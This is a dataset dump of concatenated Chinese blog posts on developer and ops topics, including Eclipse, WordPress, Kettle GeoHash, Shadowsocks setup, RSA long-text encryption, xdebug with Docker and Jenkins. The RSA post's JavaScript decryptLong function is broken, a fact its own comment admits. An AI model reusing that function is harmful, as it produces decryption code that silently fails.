branch_name
stringclasses
15 values
target
stringlengths
26
10.3M
directory_id
stringlengths
40
40
languages
sequencelengths
1
9
num_files
int64
1
1.47k
repo_language
stringclasses
34 values
repo_name
stringlengths
6
91
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
input
stringclasses
1 value
refs/heads/main
<file_sep>--- layout: archives home-title: 一年四季 description: 不以物喜,不以己悲,感时花溅泪,恨别鸟惊心 permalink: /archives.html cover: 'https://images.unsplash.com/photo-1489861518096-4d12b732e831' cover_author: '<NAME>' cover_author_link: 'https://unsplash.com/@jdiegoph' ---<file_sep>--- layout: post title: eclipse运行在gome3下面,右键菜单被截断 categories: Develop description: eclipse运行在gome3下面,右键菜单被截断 keywords: Fedora, Linux, Gome3, Eclipse --- 刚更新了Fedora26, 又碰到Eclipse快捷菜单太长被截断的问题,这次记下来。 主要原因是Eclipse仍不支持GTK2, 所以在Eclipse的配置文件中加入下面这两行就可以了。 #### 修改eclipse.ini文件,添加以下两行 ```text --launcher.GTK_version 2 ``` 最后的文件看起来像这样,请注意上面那两行所在的位置 ```text -startup plugins/org.eclipse.equinox.launcher_1.4.0.v20161219-1356.jar --launcher.GTK_version 2 --launcher.library plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.550.v20170928-1359 -product org.eclipse.epp.package.jee.product -showsplash org.eclipse.epp.package.common --launcher.defaultAction openFile --launcher.defaultAction openFile --launcher.appendVmargs -vmargs -Dosgi.requiredJavaVersion=1.8 [email protected]/eclipse-workspace -XX:+UseG1GC -XX:+UseStringDeduplication --add-modules=ALL-SYSTEM -Dosgi.requiredJavaVersion=1.8 -Xms256m -Xmx1024m --add-modules=ALL-SYSTEM ```<file_sep>--- layout: post title: fedora29 vmware ssh 失败 categories: Operation description: fedora29 vmware ssh 失败 keywords: linux,fedora, ssh --- fedora总能搞出一些事来,这次fedora29就有ssh无法使用的问题。总是报Broken pipe的错误。 解决办法是修改ssh的config ```sh cat ~/.ssh/config Host * IPQoS lowdelay throughput ```<file_sep>--- layout: post title: 自定义微信小程序flyio响应拦截 categories: Develop description: 在微信小程序中使用flyio进行网络通讯,编写flyio拦截器,实现response的错误自动处理。 keywords: 微信小程序, http, fly, flyio, mpvue --- 本文通过实现fly的拦截器,实现自动发送身份验证凭证跟自动错误处理。 整体设计思路请参见[RESTFUL错误返回设计]({% post_url 2019-11-13-RESTFUL异常返回定义 %}) # flyio 介绍 fly.js是一个支持所有JavaScript运行环境的基于Promise的、支持请求转发、强大的http请求库。可以让您在多个端上尽可能大限度的实现代码复用。一个支持所有JavaScript运行环境的基于Promise的、支持请求转发、强大的http请求库。可以让您在多个端上尽可能大限度的实现代码复用。 [flyio官网](https://wendux.github.io/dist/#/doc/flyio/readme) # 在mpvue中引入fly 由于本人项目是mpvue框架,所以这里说明的是mpvue的导入方式,如果你使用的是其它框架,请参考flyio官方说明。 ## 使用npm安装fly.js ```sh npm install flyio --save ``` ## 调用fly 通过npm安装的软件统一安装在了node_modules里面,可以使用以下代码调用fly对象。 ```js var Fly = require("flyio/dist/npm/wx"); var fly = new Fly(); ``` # 编写request.js工具类 这个工具类主要就是实现了两个拦截器,请求拦截跟响应拦截。请求拦截主要是在头部添加了统一的登录凭证access_token,响应拦截主要是向用户提示错误信息,并记录到本地storage。 ```js var Fly = require("flyio/dist/npm/wx"); var fly = new Fly(); const host = 'http://10.11.15.43:81/ihu/public' // 添加请求拦截器 fly.interceptors.request.use((request) => { try { var loginStatus = wx.getStorageSync("login_status"); // 在头部添加access_token request.headers["Authorization"] = "Bearer " + loginStatus.access_token } catch(err){ } wx.showLoading({ title: '加载中', mask: true }) return request }) // 添加响应拦截器 fly.interceptors.response.use( (response) => { wx.hideLoading() return response; // http code == 200时,请求成功之后将返回值返回 }, // http != 200时,向用户输出错误信息,并记录日志 (err) => { wx.hideLoading(); console.log(err.response.data); wx.showToast({ title: err.response.data.error_message, icon: 'none', duration: 3000 }); } ) fly.config.baseURL = host export default fly ``` 这段代码仍然不够完善,在响应拦截那里,并没有把错误信息记录下来,只是向用户提示了错误信息。 # 使用request.js 因为fly支持promise,所以示例代码里使用了async ... await ... 这样的同步请求写法。 ```js // 注意这里的相对地址,在我的项目中 // request.js位于 /src/utils/request.js // 示例代码位于 /src/pages/my/index.vue import fly from "../../utils/request"; async uploadDrugPlan() { var drugPlan = wx.getStorageSync("drug_plan"); if (drugPlan) { try { await fly.post("/drug-used-plan/upload", { drug_plan: JSON.stringify(drugPlan) }); wx.showToast({ title: "上传成功" }); } catch (error) {} } else { wx.showToast({ title: "本地暂无计划", icon: "none" }); } } ``` <file_sep>--- layout: post title: wordpress增加阅读数(含接口改造) categories: Develop description: wordpress增加阅读数(含接口改造) keywords: git --- wordpress默认是没有阅读数的,本文通过使用wordpress内部的set_post_meta方法来实现。在主题文件的functions.php增加以下代码: ```php /** * 增加浏览数 **/ function getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0"; } return $count; } function setPostViews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } /** * 在接口增加 post_view 字段 **/ add_action( 'rest_api_init', function () { register_rest_field( 'post', 'post_view_count', array( 'get_callback' => function($post) { return getPostViews($post['id']); }, ) ); } ); ``` 在single.php文件放入以下代码,这样每次打开都会把阅读数加一。 ```php <?php setPostViews(get_the_ID()); ?> ``` 在需要现实阅读数的地方,加入以下代码 ```php <?php echo getPostViews(get_the_ID()); ?> ``` 最后一段函数是把阅读数加入wp rest api的返回。key=post_view_count。 官方说明[https://developer.wordpress.org/rest-api/extending-the-rest-api/modifying-responses/](https://developer.wordpress.org/rest-api/extending-the-rest-api/modifying-responses/) <file_sep>--- layout: page home-title: Welcome to zhonger's blog! description: Writing, writing, writing ... --- # 本站使用条款 &emsp;&emsp;H2O-ac([https://h2o-ac.pages.dev](https://h2o-ac.pages.dev)),以下简称“本站”。 ## 隐私政策 &emsp;&emsp;本站非常重视用户隐私和个人信息保护。在您使用本站的过程中,本站可能会收集或使用您的相关信息。在此,将向您说明本站如何收集、使用、保存、共享和转让这些信息。 ### 如何收集和使用有关信息 &emsp;&emsp;有关信息包括**网络身份标识信息(浏览器 UA、IP 地址)、地理位置信息(国别或地区)、个人网址** &emsp;&emsp;在您访问时,仅出于以下目的,使用您的个人信息: - **阿里 CDN (iconfont)**会收集您的访问信息 - **JSDelivr(前端依赖)**会收集您的访问信息 - **Google Analytics** 会收集您的访问信息 - **Umami(监控)**会收集您的访问信息 - **Disqus(评论)**会收集您的访问信息和评论内容 - **Waline(评论)**会收集您的访问信息和评论内容 - **Busuanzi(页面统计)**会收集您的访问信息 &emsp;&emsp;本站仅出于以下目的,使用您的个人信息: - 恶意访问识别与攻击排查,用于维护网站 - 网站点击情况监测,用于优化网站内容 - 浏览访问数据的展示 ### 如何使用 Cookie 和本地 LocalStorage 存储 &emsp;&emsp;由于本站会基于 Cookie 中的相关信息来为您提供“深色模式切换”、“同意使用 Cookie 提示”功能,该部分 Cookie 会保存在您的浏览器本地。除此之外,本站提供的 PWA 功能会将您访问过的本站页面和图片缓存在设备本地,以便提升您的使用体验。对于这里所有的 Cookie 和 LocalStorage,您都可以随时清除。 &emsp;&emsp;至于如何清除这些内容,您可以根据您所使用的浏览器类型查找相应的方法。 ### 如何共享和转让有关信息 &emsp;&emsp;本站不会与任何公司、组织和个人共享或者转让您的个人信息。 ## 版权声明 &emsp;&emsp;本站采用 [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/deed.zh) 协议共享所有内容,但如对本站进行转载、复制、翻译等行为,请务必注明原文链接地址以及遵守协议规定的其他条件。 ## 链接到本站 &emsp;&emsp;原则上,您可以自由链接到本站的任何页面,但本站可能会根据您网站的内容和链接方式,酌情拒绝链接到本站。链接时请注意以下事项: - 请指明它是指向本站的链接。 - 禁止使用框架显示本站等使用本站难以被理解为是由本站运营的显示方式。 - 禁止链接到本站作为您网站的广告或者业务。 - 禁止来自违反法律或者公序良俗和道德的网站链接。 - 本站页面的 URL 可能会更改或取消,恕不另行通知。 - 对于因链接而可能发生的任何问题,本站概不负责。 ## 链接到其他网站 &emsp;&emsp;本站包含一些外部网站的链接,但本站不对这些独立第三方的网站和服务承担任何义务或责任。 ## 关于本站的问题或意见 &emsp;&emsp;如发现某些文章内容存在问题或有什么意见,欢迎在主站使用评论的方式直接发表。也可以通过首页公开的私人邮箱发送邮件联系,或者创建 [Github Issue](https://github.com/zhonger/jekyll-theme-H2O-ac/issues/new) 的方式联系。但是,考虑到某些情况,您所反映的问题或者意见可能不会公开发表或补充在本站。 ## 免责声明 &emsp;&emsp;通过使用本站,我们认为您已同意上述内容。由于各种情况,此页面可能随时会部分修改或添加内容。请注意,如果您在更新本页面内容后继续使用本站,则视为您已知悉并且认可了更新内容。**不过,如果有非常重要的更改,本站将会在首页明确指出使用条款已更新。** <file_sep>--- layout: post title: 使用kettle生成GeoHash categories: Develop description: 通过给kettle添加第三方库,编写java脚本生成GeoHash,并将结果写入数据库 keywords: kettle, spoon, geohash --- 关于GeoHash是什么,有什么用,可以参考我的另一篇文章[使用GeoHash查找附近的药店]({% post_url 2019-11-14-使用GeoHash查找附近的药店 %})。或者自行Google。 # 必备技能 要想使用GeoHash,首先得想办法,给数据库中的经纬度生成GeoHash。好消息是,很多数据库软件都提供对应的函数,比如mysql的[12.16.10 Spatial Geohash Functions](https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html)。不过坏消息是,它家亲戚MariaDB并没有对应的方法。对于没有提供原生支持的数据库,这里给出的答案就是用kettle做数据清洗,把GeoHash补写进数据库。 # 给kettle添加第三方jar包 kettle生成GeoHash只能通过编写脚本实现,鉴于网上已经有很多java脚本可以用了,所以我们导入kettle,就不自己写了。 ## 将.java打包成.jar ### 下载Class文件 [GeoHashHelper.java](https://github.com/GongDexing/Geohash/blob/master/src/cn/net/communion/GeoHashHelper.java) ### 编译Class文件 ```sh javac GeoHashHelper.class ``` ### 创建MANIFEST.MF描述文件 ```sh echo Main-Class: GeoHashHelper > test.mf ``` ### 打包jar ```sh jar cvfm GeoHashHelper.jar test.mf GeoHashHelper.class ``` 大功告成 ## 将jar放入kettle 将GeoHashHelper.jar放到kettle的安装目录/lib下面,重新启动kettle。恭喜你,你已经成功的添加了第三方jar包,现在可以在转换中使用了。 # 编写java脚本生成GeoHash ![kttle geohash java](/images/kettle-geohash.jpg) ```java public boolean processRow(StepMetaInterface smi, StepDataInterface sdi) throws KettleException { if (first) { first = false; /* TODO: Your code here. (Using info fields) FieldHelper infoField = get(Fields.Info, "info_field_name"); RowSet infoStream = findInfoRowSet("info_stream_tag"); Object[] infoRow = null; int infoRowCount = 0; // Read all rows from info step before calling getRow() method, which returns first row from any // input rowset. As rowMeta for info and input steps varies getRow() can lead to errors. while((infoRow = getRowFrom(infoStream)) != null){ // do something with info data infoRowCount++; } */ } Object[] r = getRow(); if (r == null) { setOutputDone(); return false; } // It is always safest to call createOutputRow() to ensure that your output row's Object[] is large // enough to handle any new fields you are creating in this step. r = createOutputRow(r, data.outputRowMeta.size()); /* TODO: Your code here. (See Sample) // Get the value from an input field String foobar = get(Fields.In, "a_fieldname").getString(r); foobar += "bar"; // Set a value in a new output field get(Fields.Out, "output_fieldname").setValue(r, foobar); */ String latitudeStr = get(Fields.In, "latitude").getString(r); String longitudeStr = get(Fields.In, "longitude").getString(r); Double latitude = Double.parseDouble(latitudeStr); Double longitude = Double.parseDouble(longitudeStr); GeoHashHelper geoHashHelper = new GeoHashHelper(); String geoHash = geoHashHelper.encode(latitude, longitude); get(Fields.Out, "geohash").setValue(r, geoHash); // Send the row on to the next step. putRow(data.outputRowMeta, r); return true; } ```<file_sep>--- layout: post title: shadowsocks服务器安装 categories: Operation description: shadowsocks服务器安装 keywords: Linux, Porxy --- 为了防止哪天无法查询官方文档,特在此处记录。 #### 安装服务器 ```sh $ pip install shadowsocks ``` #### 单一用户配置文件 ```json { "server":"my_server_ip", "server_port":8388, "local_port":1080, "password":"<PASSWORD>!", "timeout":600, "method":"chacha20-ietf-poly1305" } ``` #### 多用户配置文件 ```json { "server": "0.0.0.0", "port_password": { "<PASSWORD>": "<PASSWORD>", "<PASSWORD>": "<PASSWORD>" }, "timeout": 300, "method": "aes-256-cfb" } ``` #### 启动脚本 ```sh ssserver -c config.json -d start ``` #### 停止脚本 ```sh ssserver -d stop ```<file_sep>--- layout: post title: VMware在Linux客户机中装载共享文件夹 categories: Operation description: VMware转载共享文件夹 keywords: linux,vmware --- 官网原文地址 [https://docs.vmware.com/cn/VMware-Workstation-Pro/14.0/com.vmware.ws.using.doc/GUID-AB5C80FE-9B8A-4899-8186-3DB8201B1758.html](https://docs.vmware.com/cn/VMware-Workstation-Pro/14.0/com.vmware.ws.using.doc/GUID-AB5C80FE-9B8A-4899-8186-3DB8201B1758.html) # 1、在vmware中启用共享文件夹 ![共享文件夹](/images/共享文件夹.jpg) # 2、使用以下脚本挂载 ```sh /usr/bin/vmhgfs-fuse .host:/share /home/share -o subtype=vmhgfs-fuse,allow_other ``` 这样就可以了,共享文件夹挂到了/home/share下面。 至于其它问题,比如软件版本的问题,请查询官方文档。<file_sep>--- layout: post title: GIT Bash Solarized 主题 categories: Develop description: docker安装及常用脚本 keywords: Windows, GIT, Bash, Solarized --- 其实GIT Bash这玩意挺好用的,只要修改一下UI,生活就会变得美好起来。不过前提是安装的时候你选择的是mintty这个终端。 #### 下载Solarized主题配色文件 原始地址 [https://github.com/mavnn/mintty-colors-solarized](https://github.com/mavnn/mintty-colors-solarized){:target="_blank"} #### 编辑配置文件 文件地址 ~/.minttyrc, 如果没有这个文件的话就新建一个。填入你想要的主题,以Solarized Dark为例,文件内容如下: ```text ForegroundColour=131, 148, 150 BackgroundColour= 0, 43, 54 CursorColour= 220, 50, 47 Black= 7, 54, 66 BoldBlack= 0, 43, 54 Red= 220, 50, 47 BoldRed= 203, 75, 22 Green= 133, 153, 0 BoldGreen= 88, 110, 117 Yellow= 181, 137, 0 BoldYellow= 101, 123, 131 Blue= 38, 139, 210 BoldBlue= 131, 148, 150 Magenta= 211, 54, 130 BoldMagenta= 108, 113, 196 Cyan= 42, 161, 152 BoldCyan= 147, 161, 161 White= 238, 232, 213 BoldWhite= 253, 246, 227 ``` #### 修改一下字体 其实这还不够,修改一下字体,效果就个更完美了。右键单击标题栏->Options ![GIT-Bash-options-text](/images/GIT-Bash-options-text.jpg) #### 重启GIT Bash 下面是效果图: ![GIT-Bash-Solarized](/images/GIT-Bash-Solarized.jpg) 示例配置文件 [.minttyrc]({{ site.url }}/downloads/minttyrc) > 下载后请把文件改成 .minttyrc<file_sep>--- layout: post title: 修正word样式黑框 categories: 日常操作 description: 修正word样式黑框 keywords: Windows, word, 样式,字体 --- 一个困扰我很久的问题,就是样式前面的编码,有时会显示不出来,就一个黑色的方块,不过大纲那边是没问题的。修改多级列表的时候,提示“数字必须介于1和600之间”。这里记录知乎Samuel Chen的答案,原文地址:[https://www.zhihu.com/question/38985919](https://www.zhihu.com/question/38985919){:target="_blank"} 这里本质上是因为模板里的字体文件损坏了,执行下面的宏代码就可以修复了 ```vb Sub repair() For Each templ In ActiveDocument.ListTemplates For Each lev In templ.ListLevels lev.Font.Reset Next lev Next templ End Sub ``` 2016的用户要执行宏,首先要打开“开发工具”选项卡。可以在word选项的自定义功能区打开。 <file_sep>--- layout: page home-title: 一年四季 description: 不以物喜,不以己悲,感时花溅泪,恨别鸟惊心 cover: 'https://images.unsplash.com/photo-1475924156734-496f6cac6ec1' cover_author: '<NAME>' cover_author_link: 'https://unsplash.com/@quinoal' --- # info > citation "H&Y" > 灿霞落雁,琳宇秋芳,真显好。素纱画梁,君兰春色,更是佳。<file_sep>--- layout: post title: promise微信小程序api categories: Develop description: 将微信小程序api promise化,使用async ... await ...的方式对api进行同步调用。 keywords: 微信小程序, http, fly, flyio, mpvue --- # why promisify 微信小程序API提供的大部分是异步接口,只有极少数同时提供两个接口,例如数据缓存的set storage ```js // 异步接口 wx.setStorage({ key:"key", data:"value", success(res){ }, fail(err){ } }) // 同步接口 try { wx.setStorageSync('key', 'value') } catch (e) { } ``` ## 异步代码示例 使用异步接口,总有一个success回调。当我们在操作一个顺序执行的业务场景时,这代码看起来就相当繁琐且不好处理。差不多像这样 ```js // 获取当前的经纬度,并记录到本地缓存,然后请求接口数据 function test(){ wx.getLocation({ type: 'wgs84', success (res) { const latitude = res.latitude const longitude = res.longitude const speed = res.speed const accuracy = res.accuracy wx.request({ url: 'test.php', //仅为示例,并非真实的接口地址 data: { latitude: latitude, longitude: longitude }, header: { 'content-type': 'application/json' // 默认值 }, success (res) { wx.setStorage({ key:"key", data:"value", success(){ console.log("all right"); } }) } }) } }) } ``` 是不是让人眼花缭乱,下面我们就将接口写成promise的方式,使用 async ... await ... 来改写这段代码 # 编写promisify.js 下面这段代码是google到的,并作了一定的修改。本人的项目采用mpvue框架,使用了import export,如果使用其他框架,请做适当修改。 ```js function wxPromisify(api) { return (options, ...params) => { return new Promise((resolve, reject) => { api(Object.assign({}, options, { success: resolve, fail: reject }), ...params); }); } } export default wxPromisify ``` ## 使用promisify ```js // 注意这里的相对地址,在我的项目中 // promisify.js位于 /src/utils/promisify.js // 示例代码位于 /src/pages/drugstore/index.vue import wxPromisify from "../../utils/promisify"; var wxGetLocation = wxPromisify(wx.getLocation); var res = await wxGetLocation({}); ``` # 同步代码示例 这里将上文的异步代码改写成同步代码 ```js import wxPromisify from "../../utils/promisify"; async function test(){ var wxRequest = wxPromisify(wx.request); var wxGetLocation = wxPromisify(wx.getLocation); var wxSetStorage = wxPromisify(wx.setStorage); var res1 = await wxGetLocation({}); var res2 = await wxRequest({latitude:res1.latitude, longitude:res1.longitude}); var res3 = await wxSetStorage({key: "location", value: {} }); } ```<file_sep>--- layout: blog home-title: 一年四季 description: 不以物喜,不以己悲,感时花溅泪,恨别鸟惊心 pagination: enabled: true cover: 'https://images.unsplash.com/photo-1475924156734-496f6cac6ec1' cover_author: '<NAME>' cover_author_link: 'https://unsplash.com/@quinoal' --- <file_sep>--- layout: post title: js php rsa 长文本加解密 categories: Develop description: js php rsa 长文本加解密 keywords: js, php, rsa, openssl --- 公开的rsa加解密工具的加密长度都是有限制,文本过长加密的结果就会变成null。这篇文章主要是依托目前主流的js,php加解密程序,通过编写自定义的加解密函数,实现长文本的加解密。 # 1 javascript的rsa长文本加解密 # 1.1 首先下载JSEncrypt这个库 我们需要基于这个库写一个长文本的加密函数。 [http://travistidwell.com/jsencrypt/](http://travistidwell.com/jsencrypt/) # 1.2 修改jsencrypt.js文件,加入新的加解密函数 下载后的压缩包里有很多目录,我们进入bin目录后,有两个js文件,选择jsencrypt.js这个文件,这是个未压缩的版本,方便我们将代码插进去。 以下便是用于加解密的两个函数,请插入到文件中合适的位置(可以搜索“JSEncrypt.prototype”,你就会发现底下有一大堆函数,把我们的新函数也放在这里就可以了)。 ```js //分段加密的方法 // The right encryption code JSEncrypt.prototype.encryptLong = function(string) { var k = this.getKey(); var maxLength = (((k.n.bitLength()+7)>>3)-11); // var maxLength = 117; try { var lt = ""; var ct = ""; if (string.length > maxLength) { lt = string.match(/.{1,117}/g); lt.forEach(function(entry) { var t1 = k.encrypt(entry); ct += t1 ; }); return hex2b64(ct); } var t = k.encrypt(string); var y = hex2b64(t); return y; } catch (ex) { return false; } }; //分段解密的方法 // The error decryption code JSEncrypt.prototype.decryptLong = function(string) { var k = this.getKey(); var maxLength = ((k.n.bitLength()+7)>>3); // var maxLength = 128; try { var string = b64tohex(string); var ct = ""; if (string.length > maxLength) { var lt = string.match(/.{1,128}/g); lt.forEach(function(entry) { var t1 = k.decrypt(entry); ct += t1; }); } var y = k.decrypt(b64tohex(string)); return y; } catch (ex) { return false; } }; ``` ## 1.3 使用 修改后的用法跟原来的JSEncrypt的用法一样,只是把原来使用的加密函数encrypt换成encryptLong就可以了。下面是示例代码: ```js var encrypt = new JSEncrypt(); encrypt.setPublicKey(public_key);//设置公有key data = encrypt.encryptLong(data); ``` # 2 php的rsa长文本加解密 ```php //长文本加密方法 function encrypt($originalData){ $key_content = "-----BEGIN PUBLIC KEY----- -----END PUBLIC KEY----- "; $rsaPublicKey = openssl_get_publickey($key_content); foreach (str_split($originalData, 117) as $chunk) { openssl_public_encrypt($chunk, $encryptData, $rsaPublicKey); $crypto .= $encryptData; } return base64_encode($crypto); } //长文本的解密方法 function decryptLong($encryptData){ $key_content = "-----BEGIN RSA PRIVATE KEY----- -----END RSA PRIVATE KEY----- "; $rsaPrivateKey = openssl_get_privatekey($key_content); $crypto = ''; foreach (str_split(base64_decode($encryptData), 128) as $chunk) { openssl_private_decrypt($chunk, $decryptData, $rsaPrivateKey); $crypto .= $decryptData; } return $crypto; } ```<file_sep>--- layout: post title: php-fpm-xdebug-docker phpstorm联调 categories: Develop description: php-fpm-xdebug-docker phpstorm联调 keywords: php, fpm, xdebug, docker, idea --- 之前我写过一篇文章,如何配置phpstorm xdebug联调,当时没有用到docker,是用本地的php跟apache。[phpstorm xdebug 调试](/develop/2019/06/18/phpstrom-xdebug-调试.html) 正常开发这样应该就够了,但如果你手上有不少项目,而且还是用不同的php版本运行的。搭建多个本地的调试环境估计会把你搞得晕头转向。 在一台机子分割多个运行环境,我们会想到使用容器,自由调用不同版本的php,我们会想到使用php-fpm。当然还有开发利器phpstrom。将docker,xdebug,php-fpm, phpstorm结合起来就是这篇文章宗旨。 # xdebug remote 原理 有不少同学不理解xdebug.remote是什么意思,它是xdebug提供的一种远程调试模式,也就是服务器跟你调试的代码不在一个地方。idekey就是一个标志,当你在querystring中加入?XDEBUG_SESSION_START=PHPSTORM,xdebug就会往remote_host:remote_port发送调试信息。一般来说,我们会在phpstorm配置监听,接收来自xdebug的信息,这样就可以实现服务器联调了。 这也可以解答很多同学的疑问——docker容器跟代码不在同个环境,要怎么调试?答案就是他们不需要在同个地方,因为xdebug会把debug信息送出来,remote_host:remote_port可以是任何地方。当然还有一个问题,就是phpstrom接受到debug信息后如何跟项目代码对应,这里面有一个map的配置,下面会说明map要怎么做。 # 制作php-fpm-xdebug-docker镜像 请阅读我之前写的这篇文章[制作php-fpm-xdebug-docker镜像](/develop/operation/2019/11/27/php-fpm-xdebug-docker.html)。这篇文章还包括了怎么配置docker-cmpose跟nginx。 # 配置phpstorm 以下这几个步骤跟[phpstorm xdebug 调试](/develop/2019/06/18/phpstrom-xdebug-调试.html)一样,所以我使用了那篇文章的截图。只是在配置server那里多了一个选项,要打开Use path mappings。 ## 配置 debug port 打开 File -\> Settings -\> PHP -\> Debug 确认debug port跟phpinfo -\> xdebug.remote\_port 一致 ![phpstorm-settings-php-debug](/images/phpstorm-settings-php-debug.jpg) ## 配置 DBGp Proxy 打开 File -\> Settings -\> PHP -\> Debug -\> DBGp Proxy 填入nginx站点的信息,截图是引用之前文章的,这一次我们用的是85端口。 ![phpstorm-settings-php-dbgp-proxy](/images/phpstorm-settings-php-dbgp-proxy.jpg) ## 配置 Debug Configurations 打开 Run -\> Edit Configurations 添加 PHP WEB Page ![phpstorm-php-debug-configurations](/images/phpstorm-php-debug-configurations.jpg) ## 配置 Servers 打开 File -\> Settings -\> PHP -\> Servers 添加 nginx站点 ![phpstorm-xdebug-servers](/images/phpstorm-xdebug-servers.jpg) 这里我们写了一些map。 /usr/share/nginx/html/pingjia/data 是nginx那边的目录,还记得nginx的配置吗```root /usr/share/nginx/html/pingjia```。 data是phpstorm项目的代码。 如果你没法下断点,提示phpstorm找不到对应的代码,你就来这里添加映射就可以了。 # 开始调试 ![phpstorm-php-xdebug-start](/images/phpstorm-php-xdebug-start.jpg) 其实你只要打开监听就可以了。然后自己打开浏览器,比如你要调试页面是 http://192.168.204.129:85/member/login.php,访问地址加上 ?XDEBUG_SESSION_START=PHPSTORM,变成 http://192.168.204.129:85/member/login.php?XDEBUG_SESSION_START=PHPSTORM 就可以了。 <file_sep>--- layout: post title: RESTFUL错误返回设计 categories: Develop description: 本文描述一种接口交互方案,主要用于协调前后端的数据交互,提高系统容错性。 keywords: java, php, exception, restful --- # 区分正确返回与错误返回 大部分平台像微博,腾讯,都会把接口返回分为正常返回跟异常返回,在这里定义: 1、正常返回根据业务情况不同返回不同的数据结构 2、错误返回提供固定的数据结构用于向用户或开发人员提供异常的具体信息。 # 基于HTTP的错误识别 利用HTTP的状态码,可以很容易的区分接口返回是否错误。在这里定义: 1、http code = 200,正确返回 2、http code != 200,错误返回 为什么要这样区分?因为非200的返回会**触发**http客户端的**异常**机制,方便前端编写代码对错误进行统一处理。 # 静态错误跟动态错误 静态错误:系统主动抛出的错误,说明客户端请求不正确,需要进行调整,方可获取正确的结果。例如获取用户资料的接口,返回用户未登录的错误,客户端在执行登录后便可获取正确的返回。 动态错误:系统被动抛出的错误,同时将错误详细说明记录到系统日志,说明服务器端遭遇无法处置的错误,需要修bug了。例如获取用户资料的接口,返回索引超出的错误,客户端自己无法修复该错误。 ## 错误代码 静态错误跟动态错误都有对应的错误代码。区别是静态错误代码是已知的,平台会提供错误代码表备查,客户端可以根据错误代码表的说明自行处置。动态错误代码是动态生成的,客户端接收到动态错误后,需要将代码提供给后台开发人员,开发人员可以在系统日志中找到对应的错误说明,修复问题。 静态错误代码格式:语义化的字符串,例如 User.01 动态错误代码格式:一串不重复的数字,例如 201911111212 ## 错误代码表 平台提供错误代码表(静态错误代码表)供客户端备查。 # 错误返回的数据结构 ```json { "path": "http://192.168.204.129:80/ihu/public/drug-used-plan/upload", "error_code": "User.02", "error_message": "用户未登录。", "error_detail": "access_token:<KEY>", "query_string": "XDEBUG_SESSION_START=PHPSTORM", "content": "drug_plan=%E6%96%99%E7%AD%92" } ``` 错误返回一共有四个字段: 1、path:发生错误的接口地址。 2、error_code:错误代码,这里分静态错误代码跟动态错误代码。 静态错误代码可以在错误代码列表中找到,是系统主动抛出的错误,非后台程序异常。前端只要调整请求方式,便能避免该错误。 动态错误代码属于后台程序异常,需要进行修复才能正常使用,对应的错误详情可以在系统日志中找到。 3、error_message:错误信息,该信息较为简短,是提供给用户参考信息或提示用户下一步的操作。 4、error_detail:错误详细,该信息提供必要的调试信息供开发人员调试错误。比如示例中返回错误,用户未登录,这里提供access token供开发人员确认系统是否有问题。 5、query_string, content:这里将request的对应query string跟body的内容返回,方便排查错误。 # 前后端交互整体架构图 ![交互架构图](/images/错误返回设计.png) # 案例 本人开发的项目,后台是thinphp5.1,前台是微信小程序(flyio)。 根据这套设计规则,自定义了thinkphp5.1的异常处理机制,用来返回特定的错误信息。在flyio定义了拦截机制,对错误进行统一处理。详见以下两篇文章。 [自定义thinkphp5.1异常]({% post_url 2019-11-13-自定义thinkphp5异常 %}) [自定义微信小程序flyio响应拦截]({% post_url 2019-11-14-自定义微信小程序Flyio响应拦截 %}) <file_sep>--- layout: post title: fedora31 cgroupsv2 disable categories: Develop Operation description: 关闭cgroupsv2 keywords: linux fedora cgroups --- fedora31 开启了 CGroupsV2 ,然后 docker 还不支持。 要回到V1版本,需要将 systemd.unified_cgroup_hierarchy=0 加入内核启动选项 打开 /etc/default/grub 在 GRUB_CMDLINE_LINUX 加入这个选项 更新grub配置 grub2-mkconfig -o /boot/grub2/grub.cfg 重启计算机<file_sep>--- layout: post title: 如何给jekyll markdown里的table加入样式 categories: Develop description: 给markdown里的table加入样式的语法,目前只在jekyll测试过。其它引擎是否可用,尚未知。 keywords: jekyll, markdown, table, style --- 下面的代码示例是在markdown中写一个表格,并且给这个表格应用t1样式。这段代码在jekyll中可以正常使用,其它引擎就不知道了。 ```markdown |||| |---:|:---:|:---| |NorthWest|North|NorthEast| |West|<span style="color:green">Me</span>|East| |SouthWest|South|SouthEast| {:.t1} <style> .t1{ width:auto; border: none; } .t1 td{ border: none; padding:10px; } .t1 th{ border:none; } </style> ```<file_sep>--- layout: post title: Jenkins安装 categories: Operation description: Jenkins安装 keywords: Linux, Jenkins, Docker --- Jenkins是一款免费的持续集成跟持续交付软件。关于他的安装,网络上有不少。这次我们用dokcer来安装。 我们运行jenkins bule的镜像,然后配置HOST机为jenkins的一个节点。 关于持续集成跟持续交付,我们通过在项目GIT仓库里放置Jenkinsfile文件。每次执行集成,Jenkins都会把项目拉下来,执行里面的jenkinsfile脚本。 #### 1、运行Jenkins Blue Ocean ##### 编辑docker compose文件 ```yaml version: '2' services: jenkins: image: jenkinsci/blueocean:latest ports: - "8080:8080" - "50000:50000" volumes: - /home/docker/jenkins-compose/jenkins_home:/var/jenkins_home - /etc/localtime:/etc/localtime:ro environment: - TZ=Asia/Shanghai container_name: jenkins ``` ##### 启动Jenkins ```bash $ docker-compose up -d ``` #### 2、添加主机为Jenkins从节点 浏览器访问 localhost:8080, 第一次进入管理配置页面,需要密码,可以通过 docker logs jenkins 找到。 第一步选择安装建议的插件,这样可以省下不少麻烦。 ##### 添加SSH私钥 首先要有一份SSH证书,可以根据 [https://help.github.com/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/](https://help.github.com/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/){:target="_blank"} 生成一份。 在首页的左侧依次单击 Credentials >> System >> Global credentials(unrestricted) >> Add Credentials * Kind 选择 SSH Username with private key * Scope 选择 Global(Jenkins, nodes, items, all child items, etc) * Username 填写证书可以登录的用户名,我是把证书分配给root用户,所以这里填root * Private Key 选择 Enter directly,然后把私钥用记事本打开,把里面的文本填进去 * Passphrase 如果私钥有加密,就填私钥的密码,如果没有,就不用填 * ID 